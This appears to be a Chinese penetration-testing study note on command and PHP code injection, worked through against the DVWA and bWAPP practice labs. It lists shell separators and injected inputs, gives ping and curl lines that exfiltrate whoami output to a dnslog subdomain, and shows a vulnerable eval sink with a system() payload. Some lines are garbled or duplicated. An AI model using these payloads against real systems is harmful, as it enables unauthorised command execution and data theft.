命令注入
命令注入相关分隔符:
字符 | 说明 |
---|---|
; | 仅限Linux环境,用于隔开命令,按顺序执行 |
| | 前面命令的输出结果作为后面命令的输入内容 |
|| | 前提是前面的命令执行失败,和&&号相反 |
& | 前后两条命令依次执行 |
&& | 前提是前面的命令正确执行之后才能接着执行后面的命令 |
靶场:
DVWA,low级别
输入
127.0.0.1 && calc
127.0.0.1 && ipconfig
弹出计算器,可任意命令执行
无回显场景攻击利用
单引号之间为输入的命令
命令 | 具体命令 |
---|---|
ping命令 | ping -nc 1 ’whomi’.xx.dnslog.cn |
curl命令 | curl http://‘whoami’.xx.dnslog.cn |
防御方法
😕/‘whoami’.xx.dnslog.cn |
防御方法
黑白名单过滤、参数类型过滤(&、;、|、-、$、(、),`,||)
渗透测试之代码注入
代码注入漏洞:当Web应用未对外部参数进行严格有效的过滤就拼接到要进行代码执行的函数中执行时,会造成代码注入漏洞的风险。
靶场环境:bwapp
http://127.0.0.1/bWAPP-master/app/phpi.php
造成代码
<p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>
“”;system(‘ipconfig’);